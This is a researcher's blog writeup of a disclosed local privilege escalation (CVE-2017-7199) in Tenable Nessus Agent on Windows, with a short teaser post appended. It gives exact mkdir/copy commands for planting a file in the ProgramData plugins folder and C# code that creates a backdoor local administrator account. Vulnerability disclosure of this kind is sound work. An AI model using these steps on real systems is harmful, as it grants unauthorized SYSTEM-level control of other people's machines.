Writeup of CVE-2017-7199

Local privilege escalation in Tenable Nessus Agent 6.10.3 (CVE-2017-7199)

TL;DR: As a low privileged user: mkdir "c:\programdata\tenable\nessus agent\plugins\java.exe"; copy systemcmd.exe "c:\programdata\tenable\nessus agent\plugins\java -version.exe". Reboot. Java -version.exe is run with SYSTEM privileges.

During a pentest of a Win10 laptop environment, I struggled finding a privilege escalation avenue. Latest patches installed (no Tater/Potato here), GPO stored passwords, just signed SMB, hardened UNC paths, smartcard signon only, Bitlocker with secure boot and PINs, they've even removed the keyboard and the powerbutton! True story. Anyhow, I struggled.

Finding the bug

I had access to a backup local admin account that I could use for installing software, debugging and fix anything I might break when testing with the low-privileged account.
After trying everything and failing any privilege escalation using the low-privileged account, I decided to use the admin account and Procmon myself to victory, hoping I would find a service that could load some DLL's in a lowpriv user-writeable directory. No avail. As a last resort, I enabled the bootlogging in procmon and rebooted, hoping there could be some vulnerable initialization-code performed by the services when they were started. And there it was. Sort of:

The nessusd.exe process, belonging to the Tenable Nessus Agent software, running as SYSTEM is trying to access java.exe in the plugins directory!!
Read more about the Nessus Agent software here: https://www.tenable.com/products/nessus/nessus-agents

Programdata ACL

Now, you might ask, can we write to the plugins directory? Yes we can!
The folder c:\programdata by default has the following ACL, thank you very much Microsoft!

C:\ProgramData NT AUTHORITY\SYSTEM:(OI)(CI)F        BUILTIN\Administrators:(OI)(CI)F
 BUILTIN\Users:(CI)(special access:)

This implies that unless the software creating a dir here changes the ACL, regular low privileged users can append files and directories in the subdirectories under c:\programdata. Sweet.

Creating c:\programdata\tenable\nessus agent\plugins\java.exe 

C:\programdata\tenable had default inheritage, so this means we can write java.exe here. Lets try that! I wrote a simple add local user C# snip:

using System;
class MainApp{
  public static void Main() {

   System.Diagnostics.Process.Start("cmd.exe","/C net users egiladmin SupahS3cr3t! /add");
   System.Diagnostics.Process.Start("cmd.exe","/C net localgroup administrators egiladmin /add");

Thanks http://formatmysourcecode.blogspot.no/ 

I compiled using the builtin .NET compiler CSC.exe (again, thank you Microsoft) to java.exe in the plugins directory, and restarted the nessus agent service..

Yay.. it deleted the file. Now, this is where I would normally give up. But, I wasn't in my normal mood that day. So I didn't give up. First I tried setting a DENY ACE on the file, which the SYSTEM process gave f***all about - it deleted it nevertheless. I then proceeded to do something I seldom do anymore. Debugging.

After wasting some hours of my life in the debugger that I could have spent working out, contributing to the society or played guitar instead, I stumbled onto something. But before I continue, allow me to show you some debug pics I took after finding the unlink code. I post them because all pro vuln walkthroughs have pictures of assembly code. So here it is:

BTW - the debugger used is x64dbg (http://x64dbg.com/). I've used IDA with Windbg and also Olly before, but this blew my mind away. Clean, fast (search through memory was extremly quick compared to IDA/Windbg) and very intuitive to use.

As can be seen from the pics, the unlink function calls DeleteFileA, which MSDN implicitly says that isn't for removing directories (the RemoveDirectory function should be used for that), I thought. What if java.exe was a directory?

Java.exe as a directory

When java.exe is a directory, the following stuff happens:

Notice the last line? Java -version.exe ? That's a file just waiting to exist. Doing the CSC.exe routine again and restarting the service....  Ah. There's nothin' like the hot winds of privesc blowin' in your face.

I of course had the privilege of restarting the service at will, so to exploit this as a low-privileged user, you would have to trigger a restart of the service somehow. If the user has reboot privilege, a boot is all that's needed.

Further work

So why java -version.exe, and not java.exe -version? That's a nice cross-platform feature gone wrong - I suspect. I never wasted more hours in the debugger, but ate the cake instead.

Nothing tastes as sweet as zerodaycake. The other cake is for another vuln coming up soon

What have I learned? Enable procmon bootlogging. There is interesting stuff happening at service startup!

Communication with Tenable

Tenable was exceptionally professional about this, and confirmed the vuln the same day I reported it. No bounty though, just fame and glory. 



Upcoming writeup of CVE-2017-7199

Writeup here: https://aspe1337.blogspot.com/2017/04/writeup-of-cve-2017-7199.html

So there has got to be a first time for everything. What has mustered me you might ask, after having surfing the bitstream since back in the modem days; to finally create a blag and litter the internet with more sentences and opinions?

I have no answer. But to soften the blow, I have an upcoming vulnerability writeup in the Tenable Nessus Agent, CVE-2017-7199 that I will publish in a few weeks time. Tenable has done an excellent job in handling the vulnerability disclosure. Their advisory is published here:


Until the writeup, enjoy the 0day-cake (baked by the wife of a very good friend of mine - thanx!!)

The other cake is for another vulnerability another time :)
Writeup here: https://aspe1337.blogspot.com/2017/04/writeup-of-cve-2017-7199.html



Pinging with 32 nibbles of data:
Reply from bytes=16 time<1ms TTL=128
Reply from bytes=16 time<2ms TTL=128
Reply from bytes=16 time<3ms TTL=128
Reply from bytes=16 time<4ms TTL=128

Ping statistics for
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 0ms, Maximum = 0ms, Average = 0ms